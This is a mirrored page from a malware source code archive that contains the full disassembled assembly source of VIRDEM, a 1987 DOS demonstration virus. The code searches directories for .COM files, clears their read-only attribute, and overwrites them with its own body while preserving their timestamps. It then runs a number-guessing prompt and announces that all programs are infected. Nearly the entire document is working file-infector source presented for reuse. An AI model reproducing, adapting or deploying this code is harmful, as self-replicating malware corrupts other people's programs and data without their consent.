mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
488 lines
23 KiB
NASM
488 lines
23 KiB
NASM
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ VIRDEM ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 16-Mar-87 ÛÛ
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;ÛÛ Version: ÛÛ
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;ÛÛ Passes: 5 Analysis Options on: QRS ÛÛ
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;ÛÛ Copyright by R.Burger 1986,1987 ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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data_1e equ 80h ; (8C04:0080=0)
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data_2e equ 9Eh ; (8C04:009E=0)
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data_16e equ 0F800h ; (8C04:F800=0)
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data_17e equ 0FD00h ; (8C04:FD00=0)
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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virdem proc far
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start:
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nop
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nop
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nop
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mov sp,0FE00h
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push ax
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push bx
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push cx
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push dx
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push bp
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push si
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push di
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push ds
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push es
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push ss
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pushf ; Push flags
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mov si,data_1e ; (8C04:0080=0)
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lea di,cs:[3BFh] ; Load effective addr
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mov cx,20h
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov ax,0
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mov es:data_5,ax ; (8C04:038F=0)
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mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h)
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cmp bl,39h ; '9'
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je loc_1 ; Jump if equal
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inc bl
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loc_1: ; xref 8C04:012C
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mov byte ptr es:data_12+0Dh,bl ; (8C04:0422=30h)
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mov ah,19h
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int 21h ; DOS Services ah=function 19h
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; get default drive al (0=a:)
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mov cs:data_10,al ; (8C04:03E1=0)
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mov ah,47h ; 'G'
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mov dh,0
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add al,1
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mov dl,al
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lea si,cs:[3E3h] ; Load effective addr
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int 21h ; DOS Services ah=function 47h
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; get present dir,drive dl,1=a:
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jmp short loc_3 ; (016D)
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db 90h
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loc_2: ; xref 8C04:0191, 01A0
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mov ah,40h ; '@'
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mov bx,1
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mov cx,34h
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nop
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lea dx,cs:[57Ch] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov dx,cs:data_6 ; (8C04:0391=600h)
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mov cs:data_17e,dx ; (8C04:FD00=0)
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jmp loc_12 ; (02E4)
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jmp loc_12 ; (02E4)
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loc_3: ; xref 8C04:014B
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mov dl,0
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mov ah,0Eh
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int 21h ; DOS Services ah=function 0Eh
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; set default drive dl (0=a:)
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mov ah,3Bh ; ';'
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lea dx,cs:[3DFh] ; Load effective addr
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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jmp short loc_7 ; (01C9)
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db 90h
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loc_4: ; xref 8C04:01D4, 01E7
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mov ah,3Bh ; ';'
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lea dx,cs:[3DFh] ; Load effective addr
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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mov ah,4Eh ; 'N'
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mov cx,11h
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lea dx,cs:[399h] ; Load effective addr
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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jc loc_2 ; Jump if carry Set
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mov bx,cs:data_5 ; (8C04:038F=0)
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inc bx
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dec bx
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jz loc_6 ; Jump if zero
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loc_5: ; xref 8C04:01A3
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jc loc_2 ; Jump if carry Set
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dec bx
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jnz loc_5 ; Jump if not zero
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loc_6: ; xref 8C04:019A
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mov ah,2Fh ; '/'
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int 21h ; DOS Services ah=function 2Fh
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; get DTA ptr into es:bx
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add bx,1Ch
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mov word ptr es:[bx],5C20h
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inc bx
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push ds
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mov ax,es
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mov ds,ax
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mov dx,bx
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mov ah,3Bh ; ';'
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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pop ds
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mov bx,cs:data_5 ; (8C04:038F=0)
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inc bx
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mov cs:data_5,bx ; (8C04:038F=0)
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loc_7: ; xref 8C04:017B
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mov ah,4Eh ; 'N'
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mov cx,1
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lea dx,cs:[393h] ; Load effective addr
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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jc loc_4 ; Jump if carry Set
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mov bx,es:data_5 ; (8C04:038F=0)
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cmp bx,0
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je loc_8 ; Jump if equal
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jmp short loc_9 ; (01E9)
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db 90h
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loc_8: ; xref 8C04:01DE, 020D
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jc loc_4 ; Jump if carry Set
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loc_9: ; xref 8C04:01E0
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mov ah,3Dh ; '='
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mov al,2
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mov dx,data_2e ; (8C04:009E=0)
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov bx,ax
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mov ah,3Fh ; '?'
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mov cx,500h
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nop
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mov dx,data_16e ; (8C04:F800=0)
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nop
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int 21h ; DOS Services ah=function 3Fh
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; read file, cx=bytes, to ds:dx
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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mov bx,cs:data_16e ; (8C04:F800=0)
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cmp bx,9090h
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je loc_8 ; Jump if equal
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mov ah,43h ; 'C'
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mov al,0
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mov dx,data_2e ; (8C04:009E=0)
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int 21h ; DOS Services ah=function 43h
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; get/set file attrb, nam@ds:dx
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mov ah,43h ; 'C'
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mov al,1
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and cx,0FEh
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int 21h ; DOS Services ah=function 43h
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; get/set file attrb, nam@ds:dx
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mov ah,3Dh ; '='
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mov al,2
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mov dx,data_2e ; (8C04:009E=0)
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov bx,ax
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mov ah,57h ; 'W'
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mov al,0
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int 21h ; DOS Services ah=function 57h
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; get/set file date & time
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push cx
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push dx
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mov ah,42h ; 'B'
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mov al,2
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mov dx,0
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mov cx,0
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int 21h ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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test ax,8000h
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jnz loc_10 ; Jump if not zero
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cmp ax,500h
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nop
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ja loc_10 ; Jump if above
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call sub_3 ; (0380)
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loc_10: ; xref 8C04:0244, 024A
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push ax
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push dx
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mov ah,40h ; '@'
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mov cx,500h
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nop
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mov dx,data_16e ; (8C04:F800=0)
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nop
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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pop dx
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pop ax
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add ax,100h
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mov es:data_4,ax ; (8C04:02BD=0)
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add ax,500h
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nop
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mov dx,cs:data_6 ; (8C04:0391=600h)
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mov cs:data_17e,dx ; (8C04:FD00=0)
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mov es:data_6,ax ; (8C04:0391=600h)
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mov ah,40h ; '@'
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mov cx,38h
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nop
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lea dx,cs:[287h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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jmp short loc_11 ; (02C0)
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db 90h
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db 0BFh, 80h, 00h, 8Dh, 36h,0BFh
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db 03h,0B9h, 20h, 00h,0F3h,0A4h
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db 0E8h, 00h, 00h
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virdem endp
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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sub_1 proc near
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pop ax
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mov bx,27h
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nop
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add ax,bx
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mov si,ax
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mov bx,es:[si]
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mov si,bx
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mov di,offset ds:[100h] ; (8C04:0100=90h)
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mov cx,500h
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nop
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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popf ; Pop flags
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pop ss
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pop es
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pop ds
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pop di
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pop si
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pop bp
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pop dx
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pop cx
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pop bx
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pop ax
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mov ax,offset start
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push ax
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ret
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sub_1 endp
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data_4 dw 0 ; xref 8C04:0262
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db 90h
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loc_11: ; xref 8C04:0284
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mov ah,42h ; 'B'
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mov al,0
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mov dx,0
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mov cx,0
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int 21h ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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mov ah,40h ; '@'
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mov cx,500h
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nop
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lea dx,cs:[100h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,57h ; 'W'
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mov al,1
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pop dx
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pop cx
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int 21h ; DOS Services ah=function 57h
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; get/set file date & time
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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loc_12: ; xref 8C04:0167, 016A
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nop
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call sub_2 ; (036E)
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mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h)
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cmp bl,31h ; '1'
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jne loc_13 ; Jump if not equal
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mov ah,40h ; '@'
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mov bx,1
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mov cx,67h
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nop
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lea dx,cs:[404h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,0
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int 21h ; DOS Services ah=function 00h
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; terminate, cs=progm seg prefx
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loc_13: ; xref 8C04:02F0
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mov ah,40h ; '@'
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mov bx,1
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mov cx,102h
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nop
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lea dx,cs:[404h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,2
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mov bl,byte ptr es:data_12+0Dh ; (8C04:0422=30h)
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mov dl,bl
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int 21h ; DOS Services ah=function 02h
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; display char dl
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mov ah,2Ch ; ','
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int 21h ; DOS Services ah=function 2Ch
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; get time, cx=hrs/min, dh=sec
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mov ah,0Ch
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mov al,1
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int 21h ; DOS Services ah=function 0Ch
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; clear keybd buffer & input al
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or dl,30h ; '0'
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and dl,bl
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cmp dl,al
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je loc_14 ; Jump if equal
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mov bl,dl
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mov ah,2
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mov dl,20h ; ' '
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int 21h ; DOS Services ah=function 02h
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; display char dl
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mov dl,3Eh ; '>'
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int 21h ; DOS Services ah=function 02h
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; display char dl
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mov dl,bl
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int 21h ; DOS Services ah=function 02h
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; display char dl
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mov dl,3Ch ; '<'
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int 21h ; DOS Services ah=function 02h
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; display char dl
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mov ah,40h ; '@'
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mov bx,1
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mov cx,3Ch
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nop
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lea dx,cs:[507h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,0
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int 21h ; DOS Services ah=function 00h
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; terminate, cs=progm seg prefx
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loc_14: ; xref 8C04:0330
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mov ah,40h ; '@'
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mov bx,1
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mov cx,37h
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nop
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lea dx,cs:[544h] ; Load effective addr
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ax,es:data_17e ; (8C04:FD00=0)
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push ax
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ret
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;
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; Called from: 8C04:02E5
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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sub_2 proc near
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mov ah,0Eh
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mov dl,cs:data_10 ; (8C04:03E1=0)
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int 21h ; DOS Services ah=function 0Eh
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; set default drive dl (0=a:)
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mov ah,3Bh ; ';'
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lea dx,cs:[3E2h] ; Load effective addr
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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ret
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sub_2 endp
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;
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; Called from: 8C04:024C
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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sub_3 proc near
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mov ah,42h ; 'B'
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mov al,0
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mov dx,500h
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nop
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mov cx,0
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int 21h ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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ret
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sub_3 endp
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db 0
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data_5 dw 0 ; xref 8C04:0120, 0193, 01BE, 01C4
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; 01D6
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data_6 dw 600h ; xref 8C04:015D, 026A, 0274
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db "*.com", 00h
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db 2Ah, 00h,0FFh, 00h, 00h, 00h
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db 00h, 00h, 3Fh, 00h
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db "????????exe"
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db 00h, 00h, 00h
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db 00h, 00h
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db "????????com"
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db 33 dup (0)
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db 5Ch, 00h
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data_10 db 0 ; xref 8C04:0139, 0370
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db 5Ch
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db 33 dup (0)
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db 'Virdem Ver.: 1.06'
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data_12 db ' (Generation 0) aktive.', 0Ah, 0Dh
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copyright db 'Copyright by R.Burger 1986,1987'
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db 0Ah, 0Dh, 'Phone.: D - 05932/5451'
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db ' ', 0Ah, 0Dh, ' ', 0Ah, 0Dh, 'T'
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db 'his is a demoprogram for ', 0Ah, 0Dh
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db 'computerviruses. Please put in a'
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db ' ', 0Ah, 0Dh, 'number now.', 0Ah
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db 0Dh, 'If you', 27h, 're right, yo'
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db 'u', 27h, 'll be', 0Ah, 0Dh, 'abl'
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db 'e to continue.', 0Ah, 0Dh, 'The '
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db 'number is between ', 0Ah, 0Dh, '0'
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db ' and ', 0
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db 0Ah, 0Dh, 'Sorry, you', 27h, 're '
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db 'wrong', 0Ah, 0Dh, ' ', 0Ah
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db 0Dh, 'More luck at next try ....', 0Ah
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db 0Dh, 0
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db 0Ah, 0Dh, 'Famous. You', 27h, 're'
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db ' right.', 0Ah, 0Dh, 'You', 27h, 'l'
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db 'l be able to continue. ', 0Ah, 0Dh
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db 0
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db 0Ah, 0Dh, 'All your programs are', 0Ah
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db 0Dh, 'struck by VIRDEM.COM now.', 0Ah
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db 0Dh
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db 0
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seg_a ends
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end start
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±±±±±±±±±±±±±±±±±±±± CROSS REFERENCE - KEY ENTRY POINTS ±±±±±±±±±±±±±±±±±±±
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seg:off type label
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---- ---- ---- ---------------
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8C04:0100 far start
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±±±±±±±±±±±±±±±±±± Interrupt Usage Synopsis ±±±±±±±±±±±±±±±±±±
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Interrupt 21h : terminate, cs=progm seg prefx
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Interrupt 21h : display char dl
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Interrupt 21h : clear keybd buffer & input al
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Interrupt 21h : set default drive dl (0=a:)
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Interrupt 21h : get default drive al (0=a:)
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Interrupt 21h : get time, cx=hrs/min, dh=sec
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Interrupt 21h : get DTA ptr into es:bx
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Interrupt 21h : set current dir, path @ ds:dx
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Interrupt 21h : open file, al=mode,name@ds:dx
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Interrupt 21h : close file, bx=file handle
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Interrupt 21h : read file, cx=bytes, to ds:dx
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Interrupt 21h : write file cx=bytes, to ds:dx
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Interrupt 21h : move file ptr, cx,dx=offset
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Interrupt 21h : get/set file attrb, nam@ds:dx
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Interrupt 21h : get present dir,drive dl,1=a:
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Interrupt 21h : find 1st filenam match @ds:dx
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Interrupt 21h : find next filename match
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Interrupt 21h : get/set file date & time
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±±±±±±±±±±±±±±±±±± I/O Port Usage Synopsis ±±±±±±±±±±±±±±±±±±
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No I/O ports used.
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